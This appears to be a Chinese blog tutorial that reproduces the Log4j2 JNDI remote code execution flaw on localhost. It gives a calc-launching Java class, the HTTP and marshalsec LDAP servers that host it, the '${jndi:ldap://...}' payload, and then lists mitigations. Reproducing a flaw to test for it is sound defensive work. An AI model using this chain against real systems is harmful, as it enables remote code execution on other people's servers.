检查你的项目有没有Apache Log4j2 RCE漏洞

简介: 12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。

简介

三步快速检测你的项目有没有Apache Log4j2 RCE漏洞。

漏洞原因

在使用org/apache/logging/log4j/spi/AbstractLogger.java log记录日志时,且log等级为执行等级就能触发。原因是log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要注入log参数内容,就有机会实现漏洞利用。


  1. 准备要远程执行的恶意代码,命名Log4jRCE.java,用javac编译成class文件

public class Log4jRCE {

   static {

       try {

           String [] cmd={"calc"};

           java.lang.Runtime.getRuntime().exec(cmd).waitFor();

       }catch (Exception e){

           e.printStackTrace();

       }

   }

}


  1. 在当前目录启动cmd,用python启动一个HTTPServer 服务,python -m http.server 8888,检测一下服务状态 http://127.0.0.1:8888/

image.png

  1. 开启JNDI LDAPRefServer:

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

# Java 8 required

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

image.png


在你的项目main方法里添加代码:

org.apache.logging.log4j.Logger logger = org.apache.logging.log4j.LogManager.getLogger(Demo.class);

logger.error("${jndi:ldap://127.0.0.1:1389/#Log4jRCE}");

image.png

执行远程代码成功,打开了本地的计算器程序。漏洞复现成功。


触发条件

  1. JDK版本11.0.1、8u191、7u201、6u211以下版本。其它版本需要增加代码System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  2. 系统有可注入入口,比如后端拿到前端传来的字符串,打印了开启日志等级的日志。
  3. 系统使用log4j-api,log4j-core 2.14.1及以下版本



   org.apache.logging.log4j
   log4j-api
   2.14.1



   org.apache.logging.log4j
   log4j-core
   2.14.1


建议修复

  • JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true log4j2.formatMsgNoLookups=True
  • 升级log4j版本2.14.1以上
  • 升级jdk版本


参考链接

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce/issues/5

相关文章
|
6月前
|
Web App开发 JavaScript
Vue 项目中使用 debugger 在 chrome 谷歌浏览器中失效以及 console.log 指向去了 vue.js 代码
Vue 项目中使用 debugger 在 chrome 谷歌浏览器中失效以及 console.log 指向去了 vue.js 代码
777 0
|
8天前
|
JSON Java 数据库
SpringBoot项目使用AOP及自定义注解保存操作日志
SpringBoot项目使用AOP及自定义注解保存操作日志
26 1
|
3月前
|
JSON 中间件 Go
go语言后端开发学习(四) —— 在go项目中使用Zap日志库
本文详细介绍了如何在Go项目中集成并配置Zap日志库。首先通过`go get -u go.uber.org/zap`命令安装Zap,接着展示了`Logger`与`Sugared Logger`两种日志记录器的基本用法。随后深入探讨了Zap的高级配置,包括如何将日志输出至文件、调整时间格式、记录调用者信息以及日志分割等。最后,文章演示了如何在gin框架中集成Zap,通过自定义中间件实现了日志记录和异常恢复功能。通过这些步骤,读者可以掌握Zap在实际项目中的应用与定制方法
125 1
go语言后端开发学习(四) —— 在go项目中使用Zap日志库
|
3月前
|
开发框架 .NET Docker
【Azure 应用服务】App Service .NET Core项目在Program.cs中自定义添加的logger.LogInformation,部署到App Service上后日志不显示Log Stream中的问题
【Azure 应用服务】App Service .NET Core项目在Program.cs中自定义添加的logger.LogInformation,部署到App Service上后日志不显示Log Stream中的问题
|
3月前
|
XML Java Maven
logback在springBoot项目中的使用 springboot中使用日志进行持久化保存日志信息
这篇文章详细介绍了如何在Spring Boot项目中使用logback进行日志记录,包括Maven依赖配置、logback配置文件的编写,以及实现的日志持久化和控制台输出效果。
logback在springBoot项目中的使用 springboot中使用日志进行持久化保存日志信息
|
4月前
|
开发框架 NoSQL 前端开发
在Winform项目和Web API的.NetCore项目中使用Serilog 来记录日志信息
在Winform项目和Web API的.NetCore项目中使用Serilog 来记录日志信息
|
3月前
|
数据可视化 Java API
如何在项目中快速引入Logback日志并搭配ELK使用
如何在项目中快速引入Logback日志并搭配ELK使用
|
3月前
|
开发框架 .NET API
如何在 ASP.NET Core Web Api 项目中应用 NLog 写日志?
如何在 ASP.NET Core Web Api 项目中应用 NLog 写日志?
151 0
|
3月前
|
监控 程序员 数据库
分享一个 .NET Core Console 项目中应用 NLog 写日志的详细例子
分享一个 .NET Core Console 项目中应用 NLog 写日志的详细例子
|
5月前
|
存储 Go 索引
go语言并发实战——日志收集系统(一) 项目前言
go语言并发实战——日志收集系统(一) 项目前言
go语言并发实战——日志收集系统(一) 项目前言

推荐镜像

更多